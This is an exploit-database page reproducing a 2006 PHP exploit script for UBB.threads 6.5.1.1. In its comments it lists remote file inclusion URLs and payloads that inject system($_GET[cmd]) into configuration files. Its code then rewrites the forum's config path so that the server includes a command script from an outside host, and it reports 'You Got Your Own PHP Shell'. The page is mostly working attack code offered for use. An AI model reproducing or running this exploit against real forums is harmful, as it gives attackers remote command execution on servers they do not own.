Lucene search
K

UBB.threads <= 6.5.1.1 (doeditconfig.php) Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 443 Views

UBB.threads 6.5.1.1 Code Execution Exploit by HACKERS PA

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
// UBB.threads Multiple input validation error

// Discovered By : HACKERS PAL
// Copy rights : HACKERS PAL
// Website : http://www.soqor.net
// Email Address : [email protected]

// Tested on Version 6 (6.5.1.1) and other versions maybe affected

// Remote File including :
// ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir
// ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir
// -------------------------------------------------------
// Files overwrite vulnerabilities
// if magic_qoutes_gpc = off

// admin/doedittheme.php?theme[soqor]=&#34;.system($_GET[cmd]).&#34;&thispath=../
// and open includes/theme.inc.php?cmd=ls -la
// or :-
// admin/doeditconfig.php?config[soqor]=&#34;.system($_GET[cmd]).&#34;&thispath=../
// and open includes/config.inc.php?cmd=ls -la

// -- # -- # -- # --

// if magic_qoutes_gpc = on
// admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?

// and you will have a command execution files ..
// example
// dorateuser.php?cmd=ls -la
// calendar.php?cmd=ls -la
// and so many other files which includes using this variable ($config[path])
// -------------------------------------------------------
// Full path
// cron/php/subscriptions.php
// -------------------------------------------------------
// Exploit :-

/*
/*   UBB.threads Multiple vulnerabilities
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r(&#39;
/**********************************************/
/*       UBB.threads Command Execution        */
/*    by HACKERS PAL &#60;[email protected]&#62;     */
/*         site: http://www.soqor.net         */&#39;);
if ($argc&#60;2) {
	print_r(&#39;
/* --                                         */
/* Usage: php &#39;.$argv[0].&#39; host
/* Example:                                   */
/*    php &#39;.$argv[0].&#39; http://localhost/
/**********************************************/
&#39;);
	die;
}
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);

$url=$argv[1].&#34;/&#34;;
$exploit=&#34;admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?&#34;;
$page=$url.$exploit;
Function get_page($url)
{

	if(function_exists(&#34;file_get_contents&#34;))
	{

		$contents = file_get_contents($url);

	}
	else
	{
		$fp=fopen(&#34;$url&#34;,&#34;r&#34;);
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}

	}
	return $contents;
}

$page    = get_page($page);

$newpage = get_page($url.&#34;calendar.php&#34;);

if(eregi(&#34;Cannot execute a blank command&#34;,$newpage))
{
	Die(&#34;\n[+] Exploit Finished\n[+] Go To : &#34;.$url.&#34;calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/&#34;);
}
Else
{
	Die(&#34;\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/&#34;);
}
?&#62;

# milw0rm.com [2006-09-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation